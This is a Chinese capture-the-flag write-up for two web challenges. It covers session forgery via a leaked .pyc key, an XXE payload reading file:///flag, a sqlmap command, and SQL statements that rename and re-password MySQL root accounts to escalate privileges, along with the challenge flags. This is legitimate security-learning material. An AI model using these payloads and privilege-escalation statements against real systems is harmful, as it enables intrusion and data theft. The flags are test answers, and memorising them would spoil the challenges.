2023安洵杯web两道WP
阅读原文时间:2023年08月15日阅读:2

Web

在首页提示存在eval和login的路由,在download存在任意文件下载

访问eval可以读取目录下的文件,知道/app/pycache/part.cpython-311.pyc路径,然后使用download下载下来,进行反编译

使用在线工具进行反编译,得到session的key

然后对session进行伪造

登录成功

一看就是XML注入

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}

打开网页发现存在sql注入

直接sqlmap跑

payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump

得到路由/sEcR@t_n@Bodyknow.php

在该页面可以通过POST传入code直接执行Sql语句

使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限

解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。

把secret密码dump下来

首先修改root的密码,

payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';

查询是否修改成功

在继续把'root'@'127.0.0.1'修改成'secret'@'%'

payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';

然后把'secret'@'localhost'修改成任意名字即可

payload:rename user 'secret'@'localhost' to 'aaa'@'%';

最后直接读取game.php文件,获得flag

SYCTF{RObOt_r0B07_3599ec7eac28}

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章